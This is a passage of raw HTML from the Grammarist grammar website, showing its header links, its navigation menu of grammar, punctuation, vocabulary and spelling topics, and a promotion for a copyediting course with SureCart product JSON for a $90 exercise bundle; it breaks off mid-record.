1104<a class="gb-button gb-button-88594826" href="https://pinterest.com/grammar_rules/" target="_blank" rel="noopener noreferrer"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 496 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z"></path></svg></span></a>
1105
1106</div>
1107
1108<div  class="gb-container gb-container-b37333b5">
1109
1110<p class="gb-headline gb-headline-ecc1cfbb login-link"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 496 512" xmlns="http://www.w3.org/2000/svg">
1110<path fill="currentColor" d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"></path></svg></span><span class="gb-headline-text"><a href="https://grammarist.com/customer-dashboard/">Log In</a></span></p>
1111
1112
1113
1114<p class="gb-headline gb-headline-9fafcb02 myaccount-link"><span class="gb-icon"><svg aria-hidden="true" role="img" height="1em" width="1em" viewBox="0 0 496 512" xmlns="http://www.w3.org/2000/svg"><path fill="currentColor" d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 96c48.6 0 88 39.4 88 88s-39.4 88-88 88-88-39.4-88-88 39.4-88 88-88zm0 344c-58.7 0-111.3-26.6-146.5-68.2 18.8-35.4 55.6-59.8 98.5-59.8 2.4 0 4.8.4 7.1 1.1 13 4.2 26.6 6.9 40.9 6.9 14.3 0 28-2.7 40.9-6.9 2.3-.7 4.7-1.1 7.1-1.1 42.9 0 79.7 24.4 98.5 59.8C359.3 421.4 306.7 448 248 448z"></path></svg></span><span class="gb-headline-text"><a href="https://grammarist.com/customer-dashboard/" data-type="link" data-id="https://grammarist.com/customer-dashboard/">My Account</a></span></p>
1115
1116</div>
1117</section>
1118</div>		<nav class="has-branding main-navigation nav-align-right has-menu-bar-items sub-menu-right" id="site-navigation" aria-label="Primary"  itemtype="https://schema.org/SiteNavigationElement" itemscope>
1119			<div class="inside-navigation grid-container">
1120				<div class="navigation-branding"><p class="main-title" itemprop="headline">
1121					<a href="https://grammarist.com/" rel="home">
1122						GRAMMARIST
1123					</a>
1124				</p></div>				<button class="menu-toggle" aria-controls="generate-slideout-menu" aria-expanded="false">
1125					<span class="gp-icon icon-menu-bars"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M0 96c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24zm0 160c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24zm0 160c0-13.255 10.745-24 24-24h464c13.255 0 24 10.745 24 24s-10.745 24-24 24H24c-13.255 0-24-10.745-24-24z" /></svg><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.03c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /></svg></span><span class="mobile-menu">Menu</span>				</button>
1126				<div id="primary-menu" class="main-nav"><ul id="menu-main-menu-new" class=" menu sf-menu"><li id="menu-item-89785" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89785"><a href="https://grammarist.com/grammar/">Grammar<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a>
1127<ul class="sub-menu">
1128	<li id="menu-item-89786" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89786"><a href="https://grammarist.com/parts-of-speech/">Parts of Speech<span role="presentation" class="dropdown-menu-toggle">
1128<span class="gp-icon icon-arrow-right"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 256.001c0 2.266-1.133 4.815-2.832 6.515L43.599 394.509c-1.7 1.7-4.248 2.833-6.514 2.833s-4.816-1.133-6.515-2.833l-14.163-14.162c-1.699-1.7-2.832-3.966-2.832-6.515 0-2.266 1.133-4.815 2.832-6.515l111.317-111.316L16.407 144.685c-1.699-1.7-2.832-4.249-2.832-6.515s1.133-4.815 2.832-6.515l14.163-14.162c1.7-1.7 4.249-2.833 6.515-2.833s4.815 1.133 6.514 2.833l131.994 131.993c1.7 1.7 2.832 4.249 2.832 6.515z" fill-rule="nonzero" /></svg></span></span></a>
1129	<ul class="sub-menu">
1130		<li id="menu-item-89787" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89787"><a href="https://grammarist.com/grammar/nouns/">Nouns</a></li>
1131		<li id="menu-item-89788" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89788"><a href="https://grammarist.com/grammar/pronouns/">Pronouns</a></li>
1132		<li id="menu-item-89789" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-has-children menu-item-89789"><a href="https://grammarist.com/grammar/verbs/">Verbs<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow-right"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 256.001c0 2.266-1.133 4.815-2.832 6.515L43.599 394.509c-1.7 1.7-4.248 2.833-6.514 2.833s-4.816-1.133-6.515-2.833l-14.163-14.162c-1.699-1.7-2.832-3.966-2.832-6.515 0-2.266 1.133-4.815 2.832-6.515l111.317-111.316L16.407 144.685c-1.699-1.7-2.832-4.249-2.832-6.515s1.133-4.815 2.832-6.515l14.163-14.162c1.7-1.7 4.249-2.833 6.515-2.833s4.815 1.133 6.514 2.833l131.994 131.993c1.7 1.7 2.832 4.249 2.832 6.515z" fill-rule="nonzero" /></svg></span></span></a>
1133		<ul class="sub-menu">
1134			<li id="menu-item-89790" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89790"><a href="https://grammarist.com/grammar/verb-tenses/">Verb Tenses</a></li>
1135		</ul>
1136</li>
1137		<li id="menu-item-89791" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89791"><a href="https://grammarist.com/grammar/adjectives/">Adjectives</a></li>
1138		<li id="menu-item-89792" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89792"><a href="https://grammarist.com/grammar/adverbs/">Adverbs</a></li>
1139		<li id="menu-item-89793" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89793"><a href="https://grammarist.com/grammar/conjunctions/">Conjunctions</a></li>
1140		<li id="menu-item-89794" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89794"><a href="https://grammarist.com/grammar/prepositions/">Prepositions</a></li>
1141		<li id="menu-item-89795" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89795"><a href="https://grammarist.com/grammar/what-is-a-determiner/">Determiners</a></li>
1142		<li id="menu-item-89796" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89796"><a href="https://grammarist.com/grammar/interjections/">Interjections</a></li>
1143	</ul>
1144</li>
1145	<li id="menu-item-89797" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89797"><a href="https://grammarist.com/writing-tools/best-grammar-checker/">Best Grammar Checkers</a></li>
1146	<li id="menu-item-89798" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89798"><a href="https://grammarist.com/grammar/grammar-errors-mistakes-examples/">Common Grammar Mistakes</a></li>
1147	<li id="menu-item-89799" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89799"><a href="https://grammarist.com/style/">Style</a></li>
1148</ul>
1149</li>
1150<li id="menu-item-89800" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89800"><a href="https://grammarist.com/punctuation-marks/">Punctuation<span role="presentation" class="dropdown-menu-toggle">
1150<span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a>
1151<ul class="sub-menu">
1152	<li id="menu-item-89801" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89801"><a href="https://grammarist.com/grammar/period/">Period</a></li>
1153	<li id="menu-item-89802" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89802"><a href="https://grammarist.com/grammar/question-marks/">Question Mark</a></li>
1154	<li id="menu-item-89803" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89803"><a href="https://grammarist.com/grammar/exclamation-point/">Exclamation Point</a></li>
1155	<li id="menu-item-89804" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89804"><a href="https://grammarist.com/grammar/commas/">Comma</a></li>
1156	<li id="menu-item-89805" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89805"><a href="https://grammarist.com/grammar/colon/">Colon</a></li>
1157	<li id="menu-item-89806" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89806"><a href="https://grammarist.com/grammar/semicolon/">Semicolon</a></li>
1158	<li id="menu-item-89807" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89807"><a href="https://grammarist.com/grammar/quotation-marks/">Quotation Marks</a></li>
1159	<li id="menu-item-89808" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89808"><a href="https://grammarist.com/grammar/apostrophe/">Apostrophe</a></li>
1160	<li id="menu-item-89809" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89809"><a href="https://grammarist.com/grammar/hyphens/">Hyphen</a></li>
1161	<li id="menu-item-89810" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89810"><a href="https://grammarist.com/grammar/en-dash/">En Dash</a></li>
1162	<li id="menu-item-89811" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89811"><a href="https://grammarist.com/grammar/emdash/">Em Dash</a></li>
1163	<li id="menu-item-89812" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89812"><a href="https://grammarist.com/grammar/parentheses/">Parentheses</a></li>
1164	<li id="menu-item-89813" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89813"><a href="https://grammarist.com/punctuation/curly-braces-brackets/">Curly Braces</a></li>
1165	<li id="menu-item-89814" class="menu-item menu-item-type-post_type menu-item-object-post menu-item-89814"><a href="https://grammarist.com/grammar/virgule/">Slash</a></li>
1166</ul>
1167</li>
1168<li id="menu-item-89815" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89815"><a href="https://grammarist.com/vocabulary/">Vocabulary<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a>
1169<ul class="sub-menu">
1170	<li id="menu-item-89816" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89816"><a href="https://grammarist.com/usage/">Usage</a></li>
1171	<li id="menu-item-89817" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89817"><a href="https://grammarist.com/idiom/">Idioms</a></li>
1172	<li id="menu-item-89818" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89818"><a href="https://grammarist.com/proverb/">Proverbs</a></li>
1173	<li id="menu-item-89819" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89819"><a href="https://grammarist.com/category/phrase/">Phrases</a></li>
1174	<li id="menu-item-89820" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89820"><a href="https://grammarist.com/acronyms/">Acronyms</a></li>
1175	<li id="menu-item-89821" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89821"><a href="https://grammarist.com/mondegreens/">Mondegreens</a></li>
1176	<li id="menu-item-89822" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89822"><a href="https://grammarist.com/eggcorns/">Eggcorns</a></li>
1177</ul>
1178</li>
1179<li id="menu-item-89823" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-89823"><a href="https://grammarist.com/spelling/">Spelling<span role="presentation" class="dropdown-menu-toggle">
1179<span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a>
1180<ul class="sub-menu">
1181	<li id="menu-item-89824" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89824"><a href="https://grammarist.com/tricky-hard-words-to-spell/">Hard Words to Spell</a></li>
1182	<li id="menu-item-89825" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89825"><a href="https://grammarist.com/compounds/">Compound Words</a></li>
1183	<li id="menu-item-89826" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89826"><a href="https://grammarist.com/homophones/">Homophones</a></li>
1184	<li id="menu-item-89827" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89827"><a href="https://grammarist.com/category/homonyms/">Homonyms</a></li>
1185	<li id="menu-item-89828" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-89828"><a href="https://grammarist.com/heteronyms/">Heteronyms</a></li>
1186</ul>
1187</li>
1188<li id="menu-item-89829" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-has-children menu-item-89829"><a href="https://grammarist.com/category/writing/">Writing<span role="presentation" class="dropdown-menu-toggle"><span class="gp-icon icon-arrow"><svg viewBox="0 0 330 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M305.913 197.085c0 2.266-1.133 4.815-2.833 6.514L171.087 335.593c-1.7 1.7-4.249 2.832-6.515 2.832s-4.815-1.133-6.515-2.832L26.064 203.599c-1.7-1.7-2.832-4.248-2.832-6.514s1.132-4.816 2.832-6.515l14.162-14.163c1.7-1.699 3.966-2.832 6.515-2.832 2.266 0 4.815 1.133 6.515 2.832l111.316 111.317 111.316-111.317c1.7-1.699 4.249-2.832 6.515-2.832s4.815 1.133 6.515 2.832l14.162 14.163c1.7 1.7 2.833 4.249 2.833 6.515z" /></svg></span></span></a>
1189<ul class="sub-menu">
1190	<li id="menu-item-89830" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89830"><a href="https://grammarist.com/category/editing/">Editing</a></li>
1191	<li id="menu-item-89831" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-89831"><a href="https://grammarist.com/category/writing-tools/">Writing Tools</a></li>
1192</ul>
1193</li>
1194<li id="menu-item-96816" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-96816"><a href="https://grammarist.com/proofreading-editing-services/">Proofreading Services</a></li>
1195</ul></div><div class="menu-bar-items">
1196<a class="gb-button gb-button-9892365d gb-button-text hide-on-mobile" href="https://grammarist.com/store">Store</a>
1197	<span class="menu-bar-item">
1198		<a href="#" role="button" aria-label="Open search" aria-haspopup="dialog" aria-controls="gp-search" data-gpmodal-trigger="gp-search"><span class="gp-icon icon-search"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path fill-rule="evenodd" clip-rule="evenodd" d="M208 48c-88.366 0-160 71.634-160 160s71.634 160 160 160 160-71.634 160-160S296.366 48 208 48zM0 208C0 93.125 93.125 0 208 0s208 93.125 208 208c0 48.741-16.765 93.566-44.843 129.024l133.826 134.018c9.366 9.379 9.355 24.575-.025 33.941-9.379 9.366-24.575 9.355-33.941-.025L337.238 370.987C301.747 399.167 256.839 416 208 416 93.125 416 0 322.875 0 208z" /></svg><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M71.029 71.029c9.373-9.372 24.569-9.372 33.942 0L256 222.059l151.029-151.03c9.373-9.372 24.569-9.372 33.942 0 9.372 9.373 9.372 24.569 0 33.942L289.941 256l151.03 151.029c9.372 9.373 9.372 24.569 0 33.942-9.373 9.372-24.569 9.372-33.942 0L256 289.941l-151.029 151.03c-9.373 9.372-24.569 9.372-33.942 0-9.372-9.373-9.372-24.569 0-33.942L222.059 256 71.029 104.971c-9.372-9.373-9.372-24.569 0-33.942z" /></svg></span></a>
1199	</span>
1200	</div>			</div>
1201		</nav>
1202		
1203	<div  class="site grid-container container hfeed" id="page">
1204				<div  class="site-content" id="content">
1205			
1206	<div  class="content-area" id="primary">
1207		<main class="site-main" id="main">
1208			
1209<article id="post-108520" class="post-108520 page type-page status-publish infinite-scroll-item grow-content-body" itemtype="https://schema.org/CreativeWork" itemscope>
1210	<div class="inside-article">
1211		
1212		<div class="entry-content" itemprop="text">
1213			<span id="dpsp-post-content-markup" data-image-pin-it="true"></span><div class="gb-container gb-container-df72bc56">
1214<div class="gb-container gb-container-2fc5b5ef">
1215<div class="gb-container gb-container-b6706725">
1216<div class="gb-grid-wrapper gb-grid-wrapper-3ce32d4f">
1217<div class="gb-grid-column gb-grid-column-01509a69"><div class="gb-container gb-container-01509a69">
1218
1219<p class="gb-headline gb-headline-95ef6b19 gb-headline-text">Best Selling Course:</p>
1220
1221
1222
1223<h1 class="gb-headline gb-headline-57eb9562 gb-headline-text">Breakthrough Copyediting and Proofreading</h1>
1224
1225
1226
1227<p class="wp-block-paragraph">Profit from Precision: Enhance your editing skills and discover how to earn with every meticulous edit. Start your profitable editing journey now!</p>
1228
1229
1230<div class="gb-container gb-container-07080c07">
1231
1232<a class="gb-button gb-button-f1e02b41 gb-button-text" href="https://grammarist.com/products/breakthrough-copyediting-and-proofreading"><strong>Learn More</strong></a>
1233
1234</div>
1235</div></div>
1236
1237<div class="gb-grid-column gb-grid-column-9471f60b"><div class="gb-container gb-container-9471f60b">
1238
1239<figure class="gb-block-image gb-block-image-6e351467"><img fetchpriority="high" decoding="async" width="1820" height="1024" class="gb-image gb-image-6e351467" src="https://grammarist.com/wp-content/uploads/image-19.png" alt="image 19" title="image-19.png" srcset="https://grammarist.com/wp-content/uploads/image-19.png 1820w, https://grammarist.com/wp-content/uploads/image-19-300x169.png 300w, https://grammarist.com/wp-content/uploads/image-19-1024x576.png 1024w, https://grammarist.com/wp-content/uploads/image-19-768x432.png 768w, https://grammarist.com/wp-content/uploads/image-19-1536x864.png 1536w, https://grammarist.com/wp-content/uploads/image-19-600x338.png 600w" sizes="(max-width: 1820px) 100v
1239w, 1820px"></figure>
1240
1241</div></div>
1242</div>
1243</div>
1244</div>
1245</div>
1246
1247<div
1248	style="margin-left:0px;margin-right:0px" class="alignwide wp-block-surecart-product-list is-layout-flow wp-container-surecart-product-list-is-layout-4ddb2dc5 wp-block-surecart-product-list-is-layout-flow"	data-wp-context='{"urlPrefix":"products","products":[{"id":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91","object":"product","allow_out_of_stock_purchases":false,"archived":false,"auto_fulfill_enabled":true,"available_stock":-1,"average_stars":"0.0","bundle":false,"description":"\u003Cp\u003EEnglish-Proficciency Exercise Vault\u003C\/p\u003E","featured":false,"licensing_enabled":false,"license_activation_limit":null,"purchase_limit":null,"metrics":{"currency":"usd","max_price_amount":9000,"min_price_amount":9000,"prices_count":1},"name":"Grammarist English-Proficiency Exercise Vault","recurring":false,"reviews_breakdown":[],"reviews_enabled":false,"shipping_enabled":false,"slug":"grammarist-pdf-vault","solicit_reviews":true,"stock_enabled":false,"product_group":null,"image_url":null,"created_at":1734438687,"updated_at":1778394969,"prices":{"object":"list","pagination":{"count":1,"limit":20,"page":1,"url":"\/v1\/prices?product_ids%5B%5D=593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"data":[{"id":"e9c8c210-ceb6-4352-9cb9-0edde36dbbae","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9000,"archived":false,"currency":"usd","current_version":true,"full_amount":9000,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734438951,"updated_at":1734438951,"display_amount":"$90","converted_amount":90,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91"}]},"bundle_items":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/bundle_items?bundle_product_ids%5B%5D=593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"data":[]},"product_medias":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_medias?product_ids%5B%5D=593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"data":[]},"product_collections":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/product_collections?product_ids%5B%5D=593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"data":[]},"variant_options":{"object":"list","pagination":{"count":0,"limit":20,"page":1,"url":"\/v1\/variant_options?product_ids%5B%5D=593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"data":[]},"variants":{"object":"list","pagination":{"count":0,"limit":300,"page":1,"url":"\/v1\/variants?product_ids%5B%5D=593cebd8-4ecb-47f3-a696-7ca8d0b98f91"},"data":[]},"post":{"ID":108539,"post_author":"307024","post_date":"2024-12-17 06:31:27","post_date_gmt":"2024-12-17 12:31:27","post_content":"","post_title":"Grammarist English-Proficiency Exercise Vault","post_excerpt":"\u003Cp\u003EEnglish-Proficciency Exercise Vault\u003C\/p\u003E","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"grammarist-pdf-vault","to_ping":"","pinged":"","post_modified":"2026-09-21 00:11:23","post_modified_gmt":"2026-09-21 06:11:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/grammarist.com\/?post_type=sc_product\u
12480026#038;p=108539","menu_order":0,"post_type":"sc_product","post_mime_type":"","comment_count":"0","filter":"raw"},"synced":true,"has_syncable_expands":true,"image_srcset":"","checkout_permalink":"https:\/\/grammarist.com\/buy\/grammarist-pdf-vault","permalink":"https:\/\/grammarist.com\/products\/grammarist-pdf-vault\/","is_published":true,"page_title":"Grammarist English-Proficiency Exercise Vault","meta_description":"\u003Cp\u003EEnglish-Proficciency Exercise Vault\u003C\/p\u003E","in_stock":true,"active_prices":[{"id":"e9c8c210-ceb6-4352-9cb9-0edde36dbbae","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9000,"archived":false,"currency":"usd","current_version":true,"full_amount":9000,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days":null,"product":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91","renewal_price":null,"recurring_end_behavior":"complete","created_at":1734438951,"updated_at":1734438951,"display_amount":"$90","converted_amount":90,"converted_ad_hoc_min_amount":0,"converted_ad_hoc_max_amount":null,"scratch_display_amount":"","is_on_sale":false,"trial_text":"","trial_text_with_punctuation":"","setup_fee_text":"","setup_fee_text_with_punctuation":"","setup_fee_display_amount":"","payments_text":"","interval_text":"","short_interval_text":"","short_interval_count_text":"","interval_count_text":"","is_zero_decimal":false,"currency_symbol":"$","created_by":false,"cached":null,"product_id":"593cebd8-4ecb-47f3-a696-7ca8d0b98f91"}],"has_variants":false,"has_multiple_prices":false,"active_ad_hoc_prices":[],"has_options":false,"has_variable_components":false,"bundle_variable_component_ids":[],"featured_image":{"ID":84073,"post_author":"305970","post_date":"2023-10-12 12:11:17","post_date_gmt":"2023-10-12 18:11:17","post_content":"","post_title":"Grammarist-Mockups-Tripwire-page---darker-1-","post_excerpt":"","post_status":"inherit","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"grammarist-mockups-tripwire-page-darker-1-1-2-png","to_ping":"","pinged":"","post_modified":"2023-10-12 12:11:18","post_modified_gmt":"2023-10-12 18:11:18","post_content_filtered":"","post_parent":14746,"guid":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png","menu_order":0,"post_type":"attachment","post_mime_type":"image\/png","comment_count":"0","filter":"raw","id":84073,"url":"https:\/\/grammarist.com\/wp-content\/uploads\/Grammarist-Mockups-Tripwire-page-darker-1-1-2.png"},"featured_media":null,"template_id":"pages\/template-surecart-product.php","trial_text":"","billing_interval_text":"","setup_fee_text":"","has_unlimited_stock":true,"first_variant_with_stock":null,"in_stock_variants":[],"initial_price":{"id":"e9c8c210-ceb6-4352-9cb9-0edde36dbbae","object":"price","ad_hoc":false,"ad_hoc_max_amount":null,"ad_hoc_min_amount":0,"amount":9000,"archived":false,"currency":"usd","current_version":true,"full_amount":9000,"license_activation_limit":null,"name":null,"position":0,"portal_subscription_update_enabled":true,"restart_subscription_on_completed":false,"revoke_after_days":null,"revoke_purchases_on_completed":false,"recurring_interval":null,"recurring_interval_count":null,"recurring_period_count":null,"scratch_amount":null,"setup_fee_amount":0,"setup_fee_enabled":false,"setup_fee_trial_enabled":true,"setup_fee_name":null,"trial_duration_days"